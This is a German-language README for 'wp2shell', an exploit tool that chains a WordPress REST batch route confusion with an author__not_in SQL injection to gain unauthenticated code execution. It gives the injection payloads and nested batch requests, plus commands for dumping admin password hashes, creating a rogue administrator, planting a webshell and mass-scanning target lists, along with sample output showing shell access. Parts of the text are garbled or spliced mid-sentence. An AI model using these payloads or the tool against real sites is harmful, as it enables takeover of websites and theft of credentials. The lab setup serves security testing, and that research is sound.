
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: unauthenticated RCE in WordPress core
Batch-Routen-Verwirrung der REST-API (CVE-2026-63030) verknüpft mit einer
WP_Query-author__not_in-SQL-Injection (CVE-2026-60137) → Pre-Auth Remote Code Execution gegen eine Standard-WordPress-Installation.Entdeckt von Adam Kues (Assetnote / Searchlight Cyber), veröffentlicht am 17.07.2026. Advisories: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.
| Kette (unauth RCE) | WordPress 6.9.0 – 6.9.4 und 7.0.0 – 7.0.1 |
| Nur SQLi (benötigt ein erleichterndes Plugin/Theme) | 6.8.0 – 6.8.5 |
| Nicht betroffen | ≤ 6.8 für die Batch-Verwirrung; 6.9.5 / 7.0.2 / 7.1-beta2 (gepatcht) |
| Voraussetzungen | REST-API erreichbar; kein persistenter Objekt-Cache (Redis/Memcached); ≥1 veröffentlichter Beitrag |
| Erforderliche Authentifizierung | keine |
| Auswirkung | nicht authentifiziert → neuer Administrator → Code-Ausführung (die SQLi extrahiert auch den Admin-Hash) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests-Abhängigkeit und ohne defekte Funktionen.shell ohne Anmeldedaten fälscht einen Fake WP_Post mittels der Single-Post-UNION-Verwirrung, überbrückt den Customizer, um einen frischen Administrator zu erstellen (POST /wp/v2/users), meldet sich an und hinterlässt eine token-geschützte Webshell. Der SQLi-Admin-Hash-Dump (read --preset users) wird als zweiter, verifizierter Pfad beibehalten.block_cannot_read), der als primäre, nicht-destruktive check-Funktion dient.sqli), den die anderen PoCs nicht haben.$wp$2y$-Passwort-Hash ().wp2shell/
├── README.md ← du bist hier
├── wp2shell.py ← das vereinheitlichte PoC (Einzeldatei, nur stdlib, von 0xsha)
└── lab/ ← reproduzierbare Docker-Labs + Zuverlässigkeitsmatrix
├── docker-compose.yml (Standard-6.9.4-Lab)
├── docker-compose.matrix.yml (parametrisiert: jede Version × MySQL/MariaDB)
├── docker-compose.sqli.yml (6.8.3 „Nur SQLi“-Lab)
├── matrix.sh (führt die gesamte Zuverlässigkeitsmatrix aus)
└── sqli-only/facilitator.php (Mu-Plugin: die erleichternde Senke für 6.8.x)
Die sechs öffentlichen PoCs, auf die dieses Tool zurückgreift, sind hier nicht beigelegt; sie sind unter Credits verlinkt.
Alles unten wurde im lokalen Docker-Lab verifiziert (siehe §4); Behauptungen, die nicht im Labor getestet wurden, sind als solche gekennzeichnet.
Die Kette verbindet zwei unabhängige Fehler. Zeilenangaben beziehen sich auf den echten WordPress-6.9.4-Quelltext (extrahiert aus wordpress:6.9.4-apache).
author__not_in SQL-Injection (CVE-2026-60137)wp-includes/class-wp-query.php, WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← Guard feuert NUR bei ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← String geht direkt durch
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← rohe Interpolation
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint INNERHALB von implode
Ein String author__not_in überspringt den is_array()-Guard (2404); implode(',', (array)"…") gibt ihn unverändert zurück (2408) und er wird roh in das SQL eingefügt
(2409). Das Geschwister author__in (2415) wendet array_map('absint', …) innerhalb
von implode an und ist sicher – die eine fehlende array_map ist der Fehler. Der Wert landet als ... post_author NOT IN (<value>) ..., also schließt 0) <sql>-- - die Liste und fügt SQL an.
Einen String dort hineinzubekommen ist der schwierige Teil: Der REST-Posts-Endpoint mapped author_exclude → author__not_in (class-wp-rest-posts-controller.php:247), deklariert ihn aber als 'type' => 'array' von Ganzzahlen, sodass Core einen String erzwingt/ablehnt:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 „author_exclude[0] is not of type integer.“ (verifiziert auf 6.8.3)
Deshalb ist Fehler A allein nur „erleichtert“. Fehler B schmuggelt den String auf 6.9+ an der Validierung vorbei.
wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // ein schlechter Pfad wird zu einem WP_Error IN $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← wird zu $validation hinzugefügt …
1753 continue; // ← … aber $matches wird ÜBERSPRUNGEN
1754 }
1757 $matches[] = $match; // ← $matches wächst NUR für gültige Anfragen
1825 foreach ( $requests as $i => $single_request ) { // indiziert nach Position in $requests
1841 $match = $matches[ $i ]; // ← $matches ist KÜRZER → +1 Verschiebung
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
Eine WP_Error-Teilanfrage wird zu $validation[] hinzugefügt (1752), aber nicht zu $matches[] (das continue bei 1753 überspringt 1757), sodass $matches kürzer wird und $matches[$i] (1841) den nächsten Anfrage-Handler enthält. Anfrage i wird mit dem Handler von Anfrage i+1 abgearbeitet, wobei sie ihre eigenen Parameter und ihr eigenes (bestandenes) Validierungsergebnis mitführt.
Regressionsursprung (verifiziert 6.8.3 → 6.9.4-Diff): In 6.8.3 fügt die Schleife $matches[] = $match für jede Anfrage hinzu, und schlechte Pfade werden in der ersten Schleife verworfen – Arrays bleiben ausgerichtet, kein Desync. Die Umstrukturierung in 6.9.0 führte die Verschiebung ein. Genau deshalb ist 6.8.x „Nur SQLi“ und die RCE-Kette beginnt bei 6.9.0.
Der Patch fügt $matches[] auch für Fehlereinträge hinzu, verstärkt die Re-Eintrittsfähigkeit und parst author__not_in mit einem ID-Listen-Helfer. (6.9.5 war zum Zeitpunkt des Tests nicht auf Docker Hub, daher stammt dies aus den Advisories, nicht aus einem Labor-Diff.)
Das Batch-Schema erlaubt nur POST/PUT/PATCH/DELETE-Teilanfragen, aber der Posts-Endpoint get_items (die author_exclude-Senke) ist NUR GET, daher wird die Verwirrung zweimal verschachtelt:
// ÄUSSERES Batch → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] schlechter Pfad → WP_Error → +1 Verschiebung
{"method":"POST","path":"/wp/v2/posts", // [1] Träger: als Posts-ERSTELLUNG validiert →
"body": { /* INNERES Batch */ }}, // sein `requests`-Body wird nie schema-geprüft
{"method":"POST","path":"/batch/v1", // [2] Handler → [1] als serve_batch_request_v1 abgearbeitet
"body":{"requests":[]}} // (kein permission_callback → nicht authentifiziert)
]}
// INNERES Batch (GET jetzt erlaubt):
// [0] POST /// WP_Error → innere +1 Verschiebung
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> users hat kein author_exclude → PAYLOAD passiert unberührt
// [2] GET /wp/v2/posts [2]'s Handler = posts get_items → führt [1] aus → SQLi
/// ist der Desync-Primer (jeder Pfad, der von wp_parse_url() abgewiesen wird, funktioniert). Das Tool enthält auch eine --variant categories-Version desselben Tricks.
Eine einzelne, nicht-destruktive, versionsunabhängige Sonde bestätigt CVE-2026-63030, selbst wenn die SQLi-Senke mit Objekt-Cache oder WAF gefiltert wird: ein Batch von POST-Teilanfragen, bei dem der Desync dazu führt, dass POST /wp/v2/posts vom Block-Renderer-Berechtigungs-Callback beantwortet wird:
responses[1].code == "block_cannot_read" ← ein Berechtigungsfehler von einem Handler, den sie nie angefordert hat
wp2shell.py check verwendet dies als primäres Signal (strukturelle Post-vs-Term-Form als Fallback). (Erkennungstechnik: Hadrian / Icex0.)
Der Wert befindet sich innerhalb von NOT IN (<value>), einem sauberen booleschen Orakel: 0) AND (<cond>)-- - gibt Zeilen zurück, genau wenn <cond> gilt. Extraktion erfolgt zeichenweise binäre Suche über ASCII(SUBSTRING(COALESCE((expr),''),n,1)) (das COALESCE verhindert, dass ein NULL zu einer leeren Abfrage führt).
Laborhinweis – zeitbasierte braucht Sorgfalt. Naives
0) OR SLEEP(n)-- -liefert bei einer Standardinstallation keine Verzögerung: veröffentlichte Zeilen erfüllen zuerst die Abfrage und kurzschließen dasOR. Die Bestätigung erfolgt über eine deterministische boolesche Differenzial; zeitbasierte Verwendung verwendet0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -. Beobachtete 0,01s vs. 3,04s.
Die praktische RCE benötigt kein Passwort und kein Knacken. shell ohne Anmeldedaten führt die gesamte Kette aus – alles im Labor verifiziert:
WP_Post-Primitiv. Eine zweite Verwirrungsvariante erreicht eine saubere, UNION-fähige Abfrage: /wp/v2/posts/999999?orderby=none&per_page=500 wird gegen das Single-Post-Item-Schema validiert (die nur-für-Sammlungen-Parameter passieren also ungeprüft), dann auf den Posts-Sammlungs-Handler desynchronisiert. orderby=none entfernt das nachfolgende ORDER BY und per_page=500 hält WP_Query im Vollzeilen-Modus, sodass ein UNION SELECT als fabrizierte wp_posts-Zeile überlebt.oembed_cache + customize_changeset (dessen user_id auf die ID eines vorhandenen Admins gesetzt wird, die via UNION gelesen wird) + nav_menu_item-Zeilen. Das Auslösen von oEmbed lässt den Customizer-Changeset laufen.Ältere Alternative (--user/--password). read --preset users gibt wp_users.user_pass aus (WordPress 6.9's $wp$2y$… = bcrypt über HMAC-SHA384; knacken mit hashcat -m 35500), dann meldet sich shell --user/--password mit dem wiederhergestellten Klartext an. Real, aber bcrypt macht es langsam, daher ist die Admin-Erstellungskette oben der kanonische Pfad.
6.8.x hat Fehler A, aber nicht Fehler B, und Core erzwingt author_exclude als Integer-Array, daher ist die SQLi nur durch ein erleichterndes Plugin/Theme erreichbar, das WP_Query einen rohen String übergibt. Der sqli-Unterbefehl injiziert direkt in eine solche Senke (standardmäßig zeitbasiert; schnelle boolesche mit --true-contains). Demonstriert gegen den lab/sqli-only-Facilitator auf 6.8.3.
wp2shell.pyEinzeldatei, Python 3.7+, nur Standardbibliothek. Produktionstauglicher Transport bei jedem Befehl: --insecure (selbstsigniertes TLS), -H 'K: V' (wiederholbar), --user-agent, --proxy, --retries, --delay.
check Fingerabdruck + Verwirrungsmarker + SQLi bestätigen (nicht-destruktiv)
read DB via blinde SQLi auslesen (--preset fingerprint|users | --query "SELECT …")
shell RCE: Admin-Login → token-geschützte Plugin-Webshell → Befehle ausführen (-i für REPL)
sqli author__not_in SQLi gegen eine direkte/erleichterte Senke (6.8.x, oder jede Plugin-Senke)
scan Threaded-Schwachstellenprüfung über eine einzelne URL ODER eine .txt-Liste (--prove, --json)
./wp2shell.py check https://target
./wp2shell.py read https://target --preset users # Logins + $wp$2y$-Hashes (+ Hashcat-Hinweis)
./wp2shell.py read https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id # knackfrei: erstellt Admin, dann Webshell
./wp2shell.py shell https://target -i # interaktive Shell
./wp2shell.py shell https://target --user admin --password '<geknackt>' --cmd id # oder vorhandenen Admin verwenden
./wp2shell.py scan https://target --prove # einzelne URL, @@version als Beweis extrahieren
./wp2shell.py scan targets.txt --threads 10 --json out.json # eine .txt mit Zielen
./wp2shell.py sqli https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES
# Produktions-Knöpfe: selbstsigniertes TLS, WAF-Header, Burp, Rate-Limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2
# Standard-verwundbares Labor (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli # warten auf „LAB READY“
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v
bash lab/matrix.sh # vollständige Version × DB-Matrix
# „Nur SQLi“-Labor (6.8.3 + erleichterndes Mu-Plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
--param author_not_in --true-contains ROWS:YES --preset fingerprint
Labor-Admin ist admin / Admin!2345 – Klartext nur bekannt, damit das Labor die Post-Auth-shell demonstrieren kann; ein echter Angreifer stellt den Hash wieder her und knackt ihn.
Der DB-Umfang beschränkt sich auf MySQL und MariaDB – WordPress-Core spricht in der Produktion mit keiner anderen Engine (kein PostgreSQL/MSSQL-Treiber; SQLite nur via seltenem Plugin).
Jeder Befehl im Labor getestet: check (Marker block_cannot_read + boolesch + zeitbasiert), read (Fingerabdruck / users / --query), shell (knackfrei: Admin-Erstellung → Login → Webshell → uid=33(www-data), plus --user/--password und interaktives REPL), sqli (boolesch + zeitbasiert), scan (einzelne URL + .txt + --json + --prove), der --variant categories-Payload, Endpunkt-Auto-Erkennung (/wp-json/ + ), und die Transport-Flags.
$ ./wp2shell.py check http://localhost:8080
[+] Batch-Endpunkt erreichbar und nicht authentifiziert (HTTP 207) unter http://localhost:8080/wp-json/batch/v1
[+] Routenverwirrung AKTIV – Kategorien-Anfrage vom Block-Renderer-Handler beantwortet (block_cannot_read); CVE-2026-63030 bestätigt.
[+] SQL-Injection BESTÄTIGT – boolesch-blindes Differential über author__not_in (CVE-2026-60137).
[+] Zeitbasierter Kanal ebenfalls bestätigt – Basislinie 0.02s vs. injiziert 3.04s.
$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] knacken Sie die $wp$2y$-Hashes mit: hashcat -m 35500 …
$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] Keine Anmeldedaten angegeben – erstelle einen neuen Administrator pre-auth (kein Hash, kein Knacken) ...
[+] Administrator erstellt: wp2_950eeb3deda8 / Wp2!... (geborgte Admin-ID 1)
[+] Authentifiziert.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
block_cannot_read-Erkennung),
VulnCheck.wp2shell.py von Grund auf neu implementiert, kein Code wörtlich kopiert):
WP_Post via Single-Post-Routenverwirrung, Treiben eines oembed_cache + customize_changeset (user_id=admin) + nav_menu_item-Graphen, damit der Customizer als vorhandener Admin läuft, dann , um einen neuen Administrator zu prägen.Nur für autorisierte Sicherheitstests und Schulung – Systeme, die Ihnen gehören oder die Sie schriftlich testen dürfen. Die gesamte Ausnutzung hier lief gegen ein lokales, wegwerfbares Docker-Lab; die Webshell ist token-geschützt und der Standardbefehl ist harmlos. Sie sind verantwortlich dafür, wie Sie dies verwenden.
-m 35500POST /wp/v2/users mit roles:["administrator"] jetzt unter dem geborgten Admin-Kontext, und ein neuer wp2_*-Administrator erscheint in wp_users (verifiziert: eine neue Admin-Zeile).update.php?action=upload-plugin hochladen, Befehle ausführen. Verifiziert: uid=33(www-data).| WordPress | DB-Engine | Pfad | check | Extrahierte Daten |
|---|
| 6.9.4 | MariaDB 11 | Batch-Kette | ✅ volle RCE | Admin-$wp$2y$…-Hash + @@version |
| 7.0.1 | MariaDB 11 | Batch-Kette | ✅ volle RCE | Admin-Hash |
| 6.9.4 | MySQL 8.4 | Batch-Kette | ✅ volle RCE | Admin-Hash (Payloads portabel) |
| 6.8.3 | MariaDB 11 | Batch-Kette | ⛔ 207 aber keine Verwirrung | - (entspricht Advisory) |
| 6.8.3 | MariaDB 11 | Erleichterte sqli | ✅ CVE-2026-60137 | @@version, Benutzer, DB – boolesch und zeitbasiert |
?rest_route=POST /wp/v2/usersunion_inject Single-Post-Verwirrung, UnionSQLi, PreAuthAdminCreator), der block_cannot_read-Marker-Detektor, NULL-sichere COALESCE-Extraktion und jitter-resistentes Timing.$wp$2y$ → hashcat -m 35500): hashpwn / hashcat.